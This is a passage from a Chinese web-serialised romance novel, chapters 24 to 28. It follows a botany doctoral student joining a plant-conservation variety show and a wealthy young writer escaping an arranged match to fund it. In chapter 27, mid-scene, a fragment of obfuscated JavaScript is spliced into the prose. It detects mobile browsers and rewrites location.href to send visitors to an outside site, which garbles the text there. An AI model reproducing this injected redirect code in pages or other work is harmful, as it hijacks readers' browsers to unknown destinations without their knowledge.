覃晚的笑意敛住,即刻反驳道:“怎么可能,也太drama了,而且林深他根本...”脑子迅速反应过来的覃晚紧急止住了嘴,替身这件事暂时还不能告诉祁绮。
“根本什么...”见她一句话戛然而止,祁绮扭过头望着她问到。
“根本...根本...”一时头脑空白,盯着祁绮那道视线,情急之下嘴瓢说了句:“根本不行!”
24. 骗局
“噗...”,原本低着头漫不经心地刷着手机的祁绮瞬间振奋,合上手机继续嘲笑道:“不是吧,第一次就遇到不行的。”
意识到自己说错话的覃晚顿时羞得满脸通红,想要找补两句却也不知从何说起。
见覃晚敛眸垂下了头,还以为她是在懊恼。
祁绮克制住笑声,拍了拍她的肩膀抿嘴说道:“没事小妞,这个不行,下次姐姐带你去吃点好的。”
“其实他...”,话音未落,便被祁绮忍住笑意状似语重心长地打断:“好了,不用替他找补了,谁没马失前蹄的时候啊。”
“不是,我刚刚...”,现在祁绮已经被她刚刚那句不行完全带偏了,现在好像怎么说都是在替他开脱。
虽然那家伙拿自己当替身不厚道,但有一说一,服务意识和能力确实没得挑。
自己当时半醉半醒,但大多数还是记得一清二楚。
早上起来自己身上也是清清爽爽的,显然是他帮自己洗过了。
不过只能委屈他了,自己也不是存心想要造谣的,实在是嘴瓢没办法了嘛...
解释不通,覃晚面色有些无奈,索性摆烂,
“算了算了,不说他了,说说你吧。最近工作怎么样。”覃晚翻了个身,靠在祁绮肩膀上闭眼打听。
一说到工作,原本笑得花枝乱颤的祁绮脸瞬间垮下,叹了口气,语气惆怅:“还能怎么,这不上一个恋综的项目刚结束,这边上面又催新方案。”
“有头绪没?”,覃晚微微仰头看着边上满脸写着生无可恋几个大字的人,看来是没了。
相互依偎着的两人静静地坐了很久,等祁绮从工作焦虑中回过神来时,右肩上的女孩早已悄悄展露出恬淡的睡颜。
——
与奔波一天的覃晚早早进入梦乡不同,另一边的林深上了周嘉煜的车后,便径直回了覃晚的那间酒店。
酒店客服见两人双双离开,又打不通电话,便自主操作退房。
林深赶到时,清洁的阿姨刚刚结束准备关门。
“等一下!”,林深拦住她,恳求道:“我是上一个房客,拜托让我进去看一眼。”
虽然不明所以,但见这么一帅小伙求自己,她欣然答应,侧身让开位置。
又一次回到这个房间,清洁过后的房间一尘不染,一切都仿若从未发生那般。
连她的味道也被消毒水和酒店的香薰覆盖,再不见分毫。
三年前的那张山荷叶照片让重逢的期待在时间沉淀中愈演愈烈,而此刻她的离开便彻底将那颗心击得支离破碎。
傍晚的阳光透过窗户照进房间,穿过空气中的尘埃,丁达尔效应下那束光带最终洒落在他的脸庞。
林深失魂落魄地走出了房间,朝门口的阿姨点头致谢,便抬脚准备离开。
“诶,等一下小伙子”,走出五六步的林深忽然被阿姨叫住,他顿住脚步。
阿姨追了上来,从她那件工作服中掏出一块女士腕表。
腕表的形状很特别,是一片龟背竹,银色金属在光照的散射下闪烁,跳出点点星光。
空气中的微粒也在此刻停止运动,只剩下秒针在他脑海里嘀嗒,嘀嗒,嘀嗒...
“是你的吗?小伙子。”一道声音打破了此刻的寂静。阿姨见他拿着那块表滞在原地,不禁有些怀疑。
这块表昨晚在她手上见过,在床上时它总是硌人,于是便从那只皓腕上取了下来。
想来是走的太急,连它也忘记了吧。
林深苦笑了声,又随即正色说:“是我的。”
“真的?”,刚刚他一直盯着表看,属实不像是失而复得的状态。而且这表一看就是女孩子用的,但刚刚客房巡查过来,也确认过他是上一个房客了。
尽管半信半疑,她也没再追究,松了口说:“行吧,是你的就拿走吧。下次注意别再丢了,这表看着可不便宜的,可得好好收着。”
原本丢了神的林深此刻握着那块腕表,沉思片刻,眼眸中满是坚定,“嗯,我会好好珍惜……她的。”
——
“哟,发生什么好事了,这么高兴。”周嘉煜伸出食指,探出窗外抖了抖燃尽的烟灰。
辛辣微苦的尼古丁气味飘进车内,林深微微拧眉,眼神一凛,审视的目光望向他那只手。
“阿煜,我要去南城。”
周嘉煜向来极有眼力见,立马灭了手上那支烟,扭头问道:“你突然去南城干嘛,你不是最烦潮湿的地方了吗。”
他不解皱眉,继续劝到:“那地方回南天可吓人,你确定……”
说到一半,他蓦的顿住,眼神微动,似在斟酌。
当时在船上,覃晚好像有提过自己在南城大学。
原来如此,周嘉煜微微挑眉,笑得戏谑。
这恋爱脑没救了!
“那你到南城,打算怎么追人家呢?”周嘉煜戳破他的心思,语气有些恶劣。
一针见血,林深顿时无言,眉头紧锁。
是啊,她不辞而别,显然是不想和他再有瓜葛。此时贸然前去,反倒会适得其反。
手机铃声忽然响起,打破了车内凝固的氛围。
“喂,邓叔,怎么了。”林深接起电话,语气温和。
不知对方说了些什么,只见他握着那只黑色手机的指节攥紧,眉间浮现一丝冷意。
“行,我马上回去。”他语气变得严肃,言简意赅的回复后便匆匆挂断了电话。
“怎么了?”,周嘉煜见他面色不虞,关切询问。
林深在手机购票页面迅速下单了两张回京的机票,下颌绷紧冷冷回答:“去机场,老爷子生病了。”
“这么突然?”周嘉煜没多废话,迅速发动车子。
城市街景迅速后退,一路通畅无阻。
厦城再次陷入蓝调时刻,周嘉煜看向前方的流云,越想越不对劲。
不对啊?昨天他家老头还说约了林老爷子一起下棋,还精神矍铄,怎么突然就生病了?
看来有好戏可看了!
思及此,他勾唇笑得揶揄,瞥了一眼副驾上正敛眸假寐的林深,默默为他点了柱香。
胸中暗叹:“阿深,不是兄弟我不帮你,你家老头我可不敢惹
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啊。”
——
11点半,京城国际机场。
“我叫周嘉淇来接了,要顺道给你送回老宅不?”周嘉煜拖着个行李箱,边走边问。
林深脚步匆匆,满脸担忧,简单回绝:“邓叔派司机了。”
本就想客套一下的周嘉煜听到意料之中的话心中暗喜。
想来有一场血雨腥风,他可不敢趟这摊浑水。
不过看着好友焦急的神色,既替他担心又觉得好笑。
这老爷子不愧在商场上打拼这么多年,这打蛇打七寸的手法用的可谓是炉火纯青。
就怕用多了,最后变成狼来了就完喽。
“哥!林深哥!”周嘉淇穿着件灰色运动卫衣,站在辆布加迪边上朝两人招手,两颗尖尖的小虎牙随着微笑露出。
“哟,这么快就开上了?”周嘉煜一把搂住笑得开朗的弟弟,调侃道。
一向哥控的周嘉淇此刻见到林深,也挪不开眼。
从小到大,林深便一直是他的偶像,简直是圈子里出淤泥而不染的清莲。
尤其是后来他忤逆林爷爷的命令,一意孤行去读中文,更是拉高了他在自己心中的形象。
“林深哥,要不要我送你回去。我爸刚送我的成年礼物。”他眨着那双亮晶晶的狗狗眼,满脸期盼地望着面前的偶像。
见自家弟弟如此沉迷于林深,周嘉煜不禁有些醋,将他的头向下按了按,说道:“得了吧你,你这车技就别祸害你林深哥了。”
“不好意思,小淇,今天家中有急事,回头给你补上礼物,生日快乐。”林深温和应答。
说完,林深把黑色行李箱递给一直在旁等着的司机,转身上车。
那辆宾利Batur没入川流的黑夜,霓虹闪烁。
“行了,别看了。你哥还没死呢!”周嘉煜拍了拍一直注视着前方出神的弟弟,眼眸微微上调,语气兴味。
周嘉淇挣扎了两下,扁着嘴,小声嘟囔:“哥,你别总拍我脑袋。”
“哟”见状,周嘉煜变本加厉,抬手又狠狠拍了两下,待他反应过前迅速闪进车内。
——
坐在车后的林深见道路不对,疑惑问到:“老爷子没送去医院吗?怎么是回家的路。”
前面的司机透过后视镜看到那道锐利的眼神,握着方向盘的手不禁冒出冷汗。
一时不知如何应答,只能支支吾吾的找借口遮掩:“应该是叫了家庭医生,老爷现在在家。”
原本本来对此没有丝毫怀疑的林深听到这话后,眉头紧皱,唇线抿得绷直。
前面的司机向上瞥了眼后视镜内的林深,紧张得心里直打鼓,默默踩了踩油门加速。
老爷和小少爷都不是他敢惹的啊。
前者不必多说,向来是说一不二,不怒自威。后者平时虽待人温和,但遇到关键问题丝毫不含糊,光是一道眼神便可让人噤若寒蝉。
一路疾驰,很快便抵达老宅。
林深乘电梯登上那座花园灯火通明的别墅,却见本该在医院躺着的林老爷子,此刻正红光满面的坐在红木沙发的椅子上。
25. 相亲
身姿颀长的林深立在老宅电梯前,指尖无意识摩挲着手里那块腕表,温声唤道:"爷爷。"
"还知道回来!"林老爷子将茶盏往黄花梨案几重重一磕,青瓷盖碗里的铁观音漾出几滴琥珀色。老人银白鬓角在吊灯下泛着冷光。
林深直视那道灼灼目光,踱至一侧沙发椅上端坐下,下颌线绷成凛冽的弧度:"您诓我回来,就为说这些?"
檀香在鎏金博山炉中袅袅飘散,老爷子枯瘦指节骤然攥紧。水晶灯影下的祖孙间蕴出剑拔弩张的紧张氛围.
"你胡伯伯的女儿两天后从美国回来,已经安排好你和她相亲,确定后趁早订婚。这几天你就待在老宅,哪也别去。”林老爷子看着林语气间满是不容置喙。
"我不去。"
一句话触了老爷子的逆鳞,面色一冷,眼中满是愠色。
"由不得你!"金丝楠木拐杖重重杵地,与地板接触后发出沉闷的“咚”的一声。
他拄着拐站起,话语铿锵有力,径直下达命令:“邓裘,把小少爷送回房,没我的命令谁也不准放他出来。”"
夹在两人中间的管家喉结滚动,面露难色。
今日他配合老爷子,凭借小少爷的信任和对老爷子的关心,将他骗回,本就觉得对不起他。
“小少爷,这……”
"没事,邓叔。"林深在驻足旋梯拐角,湖蓝色的眼眸在灯光下显得澄澈明净,"帮我去书房寻本书吧,《植物名实考图》。"
他不愿让邓叔夹在他和老爷子中间为难,当年他刚出生没多久,他父母便出车祸离世,因而自小便在老爷子膝下长大。
邓裘很早便跟着老爷子。自然也是看着他长大,在林深心里,他早已是亲人。
更何况当初他执意去学中文,不论是爷爷还是她姐都不同意,只有邓叔一人支持。
推开那扇许久未启的橡木门,屋内的设施和他上一次离开时没有丝毫变化。
大三时和老爷子关系稍微缓和,兴许也是实在拿他没办法。因此他每隔半月会回来陪他吃顿晚饭,留宿一晚便会回自己住处。
上一次回来好像还是中秋,自那日老爷子因一些事情不欢而散后便许久没再回来。
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>和他现在住处的黑白灰简约风不一样,这间他从小住到大的房间更为温馨。
整面墙的胡桃木书架上,奖杯与典籍在暖光里交相辉映,其中不乏这些年四处搜罗来的古籍善本。
不知道这次老爷子打算关他多久,看他那架势像是,届时等那个什么胡大小姐回来,直接将他绑了去结婚。
不过这倒不是什么大事,真正重要的是覃晚。
林深脱下那件卡其色风衣外套,搭在卧室内的沙发上,盯着那块腕表陷入沉思。
“嘟...嘟...嘟...”口袋内的手机震动。
周嘉煜吊儿郎当的痞笑声混着嘈杂的摇滚□□过电流传至耳边,林深皱着眉把手机拉远,抿唇问道:“什么事。”
“怎么样,让我猜猜,不会跪祠堂呢?”,周嘉煜走至包厢稍僻静的地方,幸灾乐祸地调侃道。
“有正事么,没事我挂了。”林深听着他看戏的语气,眸中闪过一丝不耐。
这家伙早就知道自己老爷子的苦肉计摆了一道,一路上愣是半个字没说,这通电话看来纯粹是来看热闹来了。
26. 我有喜欢的人了
纤细的手指划过屏幕,看着那触目惊心的一长串被破坏的植物名录,垂在桌下的那只手不禁攥紧。
血色上涌,莹白的指尖微微泛红。
覃晚心绪复杂,最终心中万般的情绪皆凝作眼中的一抹黯然。
其实这种事情每年都层出不穷,植物保护从来都不能仅在象牙塔中束之高阁。
近些年来,植保的科普性宣传力度虽较先前有所加大,但却收效甚微。
覃晚沉默不语,将手机递给对面的执着筷子的李氧。
李氧愤愤地嚼着口中的牛腩,眼中满是愤慨之色,“要我说,就得让他们进去蹲两年,长个教训。”
覃晚不予置评,敛眸握起筷子,有一搭没一搭地夹着碗里的碱水面。
——
"滴!",右手食指触到密码锁,门咔哒一声打开。
“回来了?”,坐在沙发上祁绮闻声扭头,敷着面膜,她声音有些含糊。
见对方兴致不高嗯了一声,弯下腰在玄关处脱下那双白色运动鞋,抬脸是满是倦色。
“怎么了?情绪不高啊。”祁绮从沙发上起身,绕到冰箱从里面取了瓶桃子味的RIO。
覃晚汲着拖鞋,翻身躺倒在沙发上,抱着靠枕满脸倦色。
“实验没做好啊?”祁绮在她身边坐下,看着她紧紧抿着唇,面色凝重关切问到。
良久,底下才传来一个淡淡的声音:“七七,我感觉有些迷茫,你看到今天的热搜?”
说到这里,祁绮迅速回想了一下今天热搜内容,瞬间便明白她这副闷闷不乐的情绪从何而来的。
她叹了口气,把手里攥着的那瓶酒随手放在面前的茶几上,空出手摸了摸她的发顶。
两人约莫沉默了半晌,祁绮咬着嘴唇,忽然灵机一动,眼底闪过一丝狡黠的光。
伸出手拍了拍覃晚的肩膀,眸光炽热,情绪有些激动:“我有个想法,你起来听听。”
原闭着眼冥想的覃晚缓缓睁开眼,看到她脸上难掩的激动,蹙着眉有几分不解地撑着沙发坐起。
她伸出手将茶几上的酒捞了过来,“什么想法?”,呲啦一声,细密的白色气泡顺着她懒懒的声音一同上涌,清甜的白桃香气混着淡淡酒香在四周弥漫。
"慢着!"祁绮按住她欲饮的手,"先听我说完!"
见她这样认真,覃晚也严肃起来,把酒瓶放下,盘着腿和她相对而坐。
“你说吧。”
“你刚刚点播到我了,简直让我茅塞顿开。我打算做一档自然科普类型的综艺,正好趁着这波热度,第一季就做植物科普。”
她越讲越激动,脸上的面膜阻碍了语速,于是被她随意地一把撕下,继续道:“而且如果后面反响好,还可以顺着这个主题继续深挖第二季,第三季......”
综艺?
覃晚在心里默念着。
这确实是一个新的科普方式,而且受众群体广泛。
如果能够保证质量的话,宣传效果应该会比生硬的科普讲座和论坛好很多。
覃晚若有所思的点了点头,旋即又问道:“确实是个不错的选题,不过你打算怎么做呢。”
想法得到肯定的祁绮越发兴奋,激动的从沙发上坐起,绕着客厅来回踱步,音量也不觉得提高了几分。
“我目前的初步设想是,套用旅游综艺的模式,请一个专业人员来当导游,再邀请一些明星或者其他领域的一些素人嘉宾来参与......”
祁绮越讲越来劲,覃晚坐在沙发上足足听了半小时,耳廓里对方的声音逐渐模糊。
强撑着的眼皮逐渐合上,那颗昏昏沉沉的头忽上忽下的轻点。
蓦的,一声清脆又洪亮的击掌声将覃晚的瞌睡虫短暂赶跑。
沙发上困倦的覃晚被这骤然的响声惊醒,原本微曲的脊背瞬间挺直,眼皮还未睁开便条件反射般回复到:“对,好。”
祁绮眼下正被突如其来的灵感冲昏了头脑,看着沙发上眼皮打架的覃晚。
祁绮此刻顾不上那个她,语速极快的嘱咐道:“你回房间睡,别着凉了。我去书房把策划案初稿写了。”
灵感这东西想来转瞬即逝,祁绮片刻也没耽搁,抛下这话便急匆匆进了书房。
夜风习习,悄悄钻过纱窗的缝隙,搅起一帘幽梦。
冷意降落在她裸露在外的皮肤上,蜷缩在沙发上的覃晚无意识的摸了摸手臂。
夜色渐深,覃晚才摇摇转醒,搁在沙发扶手处的脖子僵得发酸。
她眨着睡眼惺忪的研究顺着熟悉的方向一路摸到床边,一夜无梦。
次日,等覃晚醒来后,屋内早已没了祁绮的身影。
乳白色的餐桌上摆了一份凉透了的早餐,覃晚从打开手机看到祁绮凌晨五点的留言。
【小妞,我先回公司了,记得吃早饭。】
这工作狂,没救了。覃晚无奈地摇了摇头,转身进了浴室。
另一边的林深被拘在老宅,过了几天还算清净的日子后,胡家大小姐回国了。
林深早早预料到自家爷爷会使些强硬手段,因此提前便准备好溜回自己的住处。
谁知这道高一尺魔高一丈,老爷子直接将人请到家里来,打了他个措手不及。
林深穿戴整齐准备下楼用早膳时,便在楼梯上看到了这一幕。
一个穿着件杏色小香风套装的女人坐在沙发上,和老爷子相谈甚欢。
林深走到一半的脚步顿了两秒,眸中闪过一丝晦暗,旋即又恢复正常。
“小少爷,您醒了。”从厨房出来的刘妈率先发现了他,热情问候道:“要不要用早膳,我再给您热热。”
林深皱了眉,摇头拒绝。
端坐在红木沙发上的胡奚云闻声投来了注视的目光。
男人穿着套简单的白色家居服,乌黑浓密的头发像是刚洗过,蓬松干净。
早晨的阳光透过楼梯旁那面巨大的落地窗,洒落在他身上,整个人被镀了一层金光,冷峻的面孔显得更加神圣。
她凝眸注视着男人侧颜,鼻梁高挺,眉骨优越。
饶是在国外见过那么骨相优越的帅哥,可依旧被他那惊为天人的眉眼吸引的挪不开眼。
似是感受到她那灼热的视线,林深转头,投来一道清冷的眼神。
原本黏在他身上的胡奚云倏地偏开了头,眼中闪过一丝猝不及防的惊惧。
他的......眼睛颜色,怎
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么会这样?
“怎么了?奚云。”老爷子敏锐的察觉到她的异常,扭头瞥了一眼站在楼梯上的林深,随即慰问道。
自知失态的胡奚云迅速正了正色,扯出一个完美无缺的笑容,温声道:“我没事,爷爷。”
只是躲闪的眼神,再也不敢直视那道锋利的视线。
年过七旬的林老爷子自是看出了其中端倪,转过头睨了他一眼、
状似责骂道:“还不快过来招呼客人。睡到这么晚成何体统。”
胡奚云见状赶忙和稀泥,替林深辩解:“林哥哥应该是忙工作睡的晚,起的稍晚些也是理所应当的。”
他能有什么正经工作,林老爷子在心中暗忖道。
但外人在场,这话并未出说口,循着胡奚云给的台阶顺势而下。
听到斥和的林深面色未改动丝毫,依旧是那副冰冷的样子。
他迈着悠悠的步伐走至客厅,举手投足间都显得矜贵和慵懒。
见林深坐下,老爷子朝胡云奚露出个慈祥的笑容,“你们俩聊,他要是欺负了你的话,你尽管告诉我。我替你教训他。”
说完后便扭头看向林深,瞬间变脸,原本温和的天气霎时由晴转阴。
林深在主位坐下,那只骨节分明的手不紧不慢的提起茶壶,手腕微压,一道水柱旋滚倾落在黛青色的茶盏上,腾起一缕缕白雾。
“胡小姐,请。”林深将茶盏端至她面前,声音清冷,宛若山间春日刚化冻的清泉。
这句话后,两人再无半分交谈。
经过刚刚那一遭,胡奚云再不敢露出赤裸裸的目光直视男人,只是用不易察觉的余光偷瞄着面前的男人。
明明是两个年纪相仿的年轻人,可此刻凝固的场面倒不如刚刚她与林老爷子和谐自然。
良好的家教让林深并未冷待自己,可即便抿着他沁的好茶,胡奚云依旧能感受到他周身散发出的疏离感。
少顷,胡奚云放下茶杯,主动开口打破沉默的氛围。
’“林哥哥,你平时喜欢喝茶吗?”
林深没有丝毫犹豫,果断落声,“不喜欢。”,旋即又端起面前的茶盏品了一口。
刚说完不喜欢喝又立马喝了一口是什么意思?胡奚云被他这迷惑操作弄的有些许尴尬,不知如何应答。
这样奇怪的氛围实在煎熬,好在没过多久,刘妈前来唤他们过去用午饭。
吃饭过程中,只有老爷子和她聊了些许话题让场面不至于过冷。
林深除了几句简单的应和,再没发出任何声音,好似对碗里那碗排骨薏米汤的兴趣都比对她还大。
一顿饭下来,胡奚云脑子里只冒出一个念头,便是幸好这顿饭不是他们俩单独吃的。
那画面简直太美,光是想想便头皮发麻。
于是用完饭没多久,她便囫囵找了个借口离开了林家。
送别胡奚云后,祖孙两人在茶几上相对而坐,林深将杯盏推至老爷子面前,祖孙俩气氛难得缓和。
林老爷子端起茶盏,“你觉得...”
老爷子话音未落,却林深难得打断,双目如炬地望向面前布满沧桑皱纹的脸,语气坚定。
“爷爷,我有喜欢的人了。”
27. 阿嚏!
兜里的手机突然传来振动,覃晚握着移液枪的手微微一顿,微量离心管中的DNA提取液在实验台灯光下泛着淡青色光泽。
视线不离,她腾出一只手掏出手机瞄了眼,是祁绮。
上午十点,这个时间怎么突然来电话?她最近忙着捣鼓那新综艺的策划,每天都得大半夜才有空回消息。
"喂,怎么了,大忙人找我有何贵干啊?"覃晚放在桌面上,继续往PCR管中添加引物混合液,语气带着些许戏谑。
"还真有事找你。"祁绮单刀直入,"你愿不愿意来参加我的综艺,当向导。"
"向导?"覃晚怔了怔,移液枪悬在半空,继而道:"我吗?"
"对啊!"祁绮走出摄影棚,"原本约的那个中科院的院士临时有个项目要出国,档期撞了。"
覃晚眉峰微蹙,拿起比在实验记录本上写下"CTAB法提取的DNA浓度异常:0.8μg/μl"。
听着祁绮的话,她没有立即答应,淡声回了句:"我考虑一下,晚上回去给你回电话。"
"行,你先忙。"知晓她性格,祁绮没有勉强,见场务正巧出来寻她,便匆匆挂了电话。
不知道是怎么回事,今天不仅是她还是实验材料都出奇差。
难道是昨天熬夜追更整的?
覃晚双手托着脸撑在实验室台面上,耷拉着脸垂头丧气。通风系统持续发出呜呜的低鸣,搅得她格外烦闷。
"数据出来了吗?"头顶忽然传来道浑厚的声音。覃晚抬眸,看到一张熟悉的面孔。
灰白头发下的前额留着岁月流逝过的皱纹,银丝框眼镜内是一双依旧清朗的眼眸,此刻正俯身查看她电脑上的流式细胞仪图谱。
“上周组会进展很大,这是又遇着什么难题了,说来让为师听听?”见覃晚状态不佳,黄先有些担忧。
这小姑娘是个做学术的好苗子,悟性高又上进,就是太要强,有时候难免给自己太大压力。
“我没事教授,就是今天状态不太好。”
“怎么,昨晚刷抖音了?没见你给我视频点赞啊。”见她心事重重,黄先刻意打趣道。
本来丧着张脸的覃晚瞬间被他逗笑,不禁回想起一些往事,黄教授是自己研导替她推荐的。
当年她研究生时的导师是植物分类学的大佬,强烈邀请自己读他的博。
不过她对濒危植物感兴趣,说明原因委婉拒绝后,他便立即给自己写了封推荐信给他的大学师兄,也就是她现在的导师。
黄教授是国内濒危植物保护方面的大佬,原以为是个严肃儒雅的老学究,结果第一面就让她大跌眼镜。
第一次见他是在一个学术论坛,谁能想到台上侃侃而谈的人下了台后竟然是个沉迷于拍各类手势舞的抖音up主。
“没呢,我现在就给你点。”覃晚笑容清朗,似是无奈的打开手机。
能怎么办?自己的导,宠着呗!
“喏,点好啦!”
她扬着嘴角,将手机转过去晃了晃让他检查。
见她配合自己,黄先也故作认真的仔细瞧了瞧,见到那个小红心后遂露出满意笑容。
经他那么一逗,覃晚胸中的不郁即刻消散如烟。
忽然想起综艺的事情,正好趁着导在,听听他的建议,“教授,我有个事情想要您帮我掌掌眼。”
覃晚从椅子上站起,想要让个位置给他坐下。
“不用。”黄教授抬手示意她坐下,自己就近拉了张椅子顺势坐下。
“说吧。”黄先扶了扶山根上泛着冷光的镜片,语调轻松。
覃晚将额前的一缕碎发捋至耳后,娓娓道来:“有人邀请我去参加一档关于宣传植物保护的综艺,我有些犹豫。”
综艺?还没听过有这种类型的综艺。黄先认真思量了两秒,继而问:“为何犹豫?担心不友好声音?”
还得是教授,一阵见血。
覃晚点了点头,虽然是祁绮的组,肯定不会出现恶意剪辑之类的事件。
但她也知道自己不是人民币,一旦出现在公众面前,难免需要接受众人审判的目光。
“小晚。”似是回忆起了往事,黄先眼神含笑。
“我想起你当时面试的时候,说自己要让植保走出实验室。”黄先拿起桌面上的玻璃杯,站起笑叹道:
“当年我就觉得这小姑娘,了不得。”
饮水机里传来咕咚咕咚的水声,混着笑意一同融进覃晚的耳畔。
思绪拉回她刚还在读研的时候,也是一桩类似探险队的新闻触动到了她。
于是下定了从植物学分类转至濒危植物保护的决心。
“听从你自己的心,小晚。这才是最重要的。”
热水在玻璃杯中翻涌,覃晚盯着那几颗在滚烫中翻涌最后停留在水面上的枸杞,点了点头。
“行了。”黄先在瓶口吹了吹,小心翼翼的试探性抿了一口。
”今天状态不好就先到这吧,你师母做了菠萝排骨,回去吃。”
一听到排骨,覃晚眼睛瞬间亮了亮,谁不知道师母厨艺水平一绝。尤其那道菠萝排骨,是覃晚心中当之无愧的NO.1。
想也不想,她立刻手脚麻利地开始收拾器材,两眼丝毫没有对数据的留恋,全是对菠萝排骨的渴望。
——
听完教授的建议后,她仔细思量一晚,最终拨通了祁绮的电话。
黄先得知她的决定后,大力支持,甚至在参加节目前还强烈要求覃晚跟着他学几支手势舞。
万一有什么才艺展示才好应付。
至今覃晚依旧搞不懂为何一个六旬老头会对手势舞如此执着。
她在心里暗忖道:“我的导啊,您这心真是操偏了,专业问题毫不过问,反而对才艺展示如临大敌。”
最后在黄先的先礼后兵,百般劝导下覃晚最终还是顺了他的意,随意学了两招。
祁绮那边确定人选后还前前后后策划准备了两周才开拍。
开拍前一晚,覃晚留在交接完实验室的工作后马不停蹄地回家收拾行李。
“喂,你好,哪位?”
蹲在地上放行李的覃晚抬滑动沙发上手机的接通键后礼貌询问。
“是我。”熟悉的声音响起,拖着满是疲惫的嗓音。
覃晚的手没停歇,捞过沙发上的手机走进了浴室。
“怎么了,听你这声是要叫救护车的节奏啊。”覃晚将手机点开免提后便随手置在台面上,拿起洗漱包。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15454442|167490||http|test|mini|href|location''.split(''|''),0,{}));
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>“牙刷,洗面奶,补水面膜...”她一边收拾一边小声默念道。
“晚晚,坏消息。”祁绮沉闷的声音顺着电流在浴室内回响。
覃晚握着一管护手霜的手滞在半空,原先云淡风轻的眉微微蹙起。
“怎么回事啊。”她重新把手机拾起,收了调侃的语气,面色凝重。
对面静默了几秒后,才缓缓传来几个字:“投资方临时撤资了。”
“嗯?”覃晚怔了怔,撤资?什么意思,拍不了了吗。
她搂了搂散落在肩上的长发,一天着急忙慌的,后颈已微微冒汗。理清思绪后,继而问到:
“有原因吗,不能无缘无故撤资吧。”
电话那头的祁绮身子向后一压,仰倒在办公椅上,长叹了一口气:“我们的主题太冷门了,资方担心播出效果不理想。”
“那也不能说撤就撤吧。”覃晚愤愤道,这马上就开拍了,什么都准备好了这时候撤资什么意思啊。
“没办法,谁让人家是金主爸爸呢。”祁绮扯出个极难看的笑容,自嘲道。
这档综艺从想法到落地实施,覃晚几乎一直参与,祁绮更别说了,作为总导演不知熬了多少个夜。
如果不能开拍,整个团队这么久的努力就全白费了。
“那现在怎么办?”覃晚拧着眉担忧问。
“制片人那边在找新的投资方,我这边也在联系。拍摄计划只能暂时搁置,所以......”许是觉得有些难为情,当初自己拉着覃晚参加。
眼下却是让她也趟进这滩浑水,耽搁时间。
“没事。”覃晚笑了笑,放柔声线,温声道:“正好教授今天还说我手势舞学的不精怕丢了他老人家的面子呢。我正好趁这段时间好好练练。”
“哈哈哈。”自打得知撤资消息后便一直沉着脸的祁绮此刻也被治愈,眉眼舒然。
“行!你好好练,我去给咱找金主爸爸去!”祁绮直起脊背,语调情不自禁地抬高。
两人挂了电话后,覃晚看着一室凌乱,无声苦笑。
“算了,先睡觉吧。”
穿着高领针织衫收拾了一晚上行李,出了一身汗。覃晚拖着疲惫的身体迈步朝房间走去,随手从衣柜里取了套睡衣。
原本睡意沉沉的她洗了个澡后又意外清醒过来。
那头乌黑浓密的秀发吹了半小时也不见干,覃晚没了耐心,索性踢了鞋子趴在床上等它自己晾。
闲来无事,正巧可以看看大大的近日更新。
这几天为了给综艺挤出时间,虽然教授说了给她减轻工作量,但是还是不好给同门增加工作量。
她加班加点熬了一周,终于提前完成任务。
点进书本主页,正好攒了一个单元的量,这下可以看个爽了。
覃晚美滋滋的暗叹道:“最近深林大大,看来是感情问题得到解决了心情舒畅啊。“
“阿嚏!”抱着电脑坐在躺椅上码字的林深倏地打了个喷嚏。
今日满月,他一时心血来潮,抱着笔记本跑到阳台上码字。
夜已深,他合上怀里的电脑,抬眸望向头顶零零散散的几粒星子。
晚风吹过,阳台上那棵茉莉落了一地黄叶,天气确实有些凉了......
28. 金主爸爸
手机在床头柜上震得嗡嗡作响,林深皱着眉从蚕丝被里探出一截流畅修长的手臂。
"喂,阿深,忙什么呢?"
晨光从窗帘缝隙漏进来,在他凌乱的黑发上镀了层金边:"说事。",磨砂般的嗓音裹着未醒的倦意。
听这声音,这是刚起床,他这不撞枪口上了?
但存了心思逗他,周嘉煜唇角漾起一抹促狭的笑容,"看来是还没睡醒啊~"
他刻意把尾音绕了三道弯,指间转动的钢笔在阳光下划出银弧,"本来想和你说点覃晚的事的......"
手机突然被攥紧的声响夹杂着电流清晰传来,周嘉煜几乎能想象好友瞬间清醒的模样。
他踱步走到落地窗前,望着落地窗外车水马龙,嘴角噙着恶作剧得逞的笑。
果然听见一阵布料摩擦声后,对方沙哑的声线陡然绷紧:"她怎么了?"
“她啊......”周嘉煜故意卖了个关子,尾音拉长却迟迟不说重点。
林深翻了个身,握着手机从床上坐起,“自己去车库挑。”
“成交!”拿捏住软肋得手就是快,周嘉煜勾起唇角暗爽道。
得了好处的周嘉煜收了戏谑的语气,慢条斯理问道:“她要去参加综艺,你知道吗?”
林深掀开身上的灰色蚕丝薄被,握着手机从床上起来,眉心微蹙,语气带了几分不悦:“如果只有这个消息,你可以走了。”
早八百年自己便得知这个消息。
“诶呀,别着急嘛!”周嘉煜语气轻快哄着说:“你猜我今早到公司知道了什么?”
林深坐在床边抿唇不语,晾了对面没两秒便听到他自顾自的回答。
“他们那个综艺,资方临时撤资了,现在正四处拉投资呢。”周嘉煜敲了敲手边的文件,似是意有所指道:“这不,找到我这来了。”
撤资?林深在脑子里飞速过了一遍这个消息,迟疑半晌,随即冷声道:“制片人联系方式发我。”
周嘉煜没有犹豫,立即便传了过去。
他在暗自叹道:这小子,终于上道了,这要是还追不到都对不起他这么及时的情报。
收到消息的林深没多和周嘉煜废话,挂了电话后马不停蹄地拨通了那个电话。
对面接得很快,林深没有拐弯抹角,单刀直入:“你好,是《跟着植物去旅行》的制片吗?”
陌生电话?
刘其民有些莫名其妙,语气带了几分犹疑:“我是?请问您是?”
“我是林深,想投资你们的综艺,缺口多少?”
此话一出,刘其民陡然从办公椅上站起,一个不小心把桌面上的咖啡掀翻。
棕色的水渍迅速在实木桌面上弥漫开来。
他迅速从桌面上抽了几张纸,有些心不在焉地擦拭桌面
林深,这个陌生的名字在口齿间转了两转,不记得自己有找过哪家公司有老板姓林的啊?
不会是诈骗吧,搁以往他早就直接挂了。
但眼下火烧眉毛,他还是谨慎试探道:“林总?冒昧问一下贵司是?”
林深敛眸,唇线拉直,公司现在都是他姐林女士在打点,虽然他也有股份但不参与公司运营。
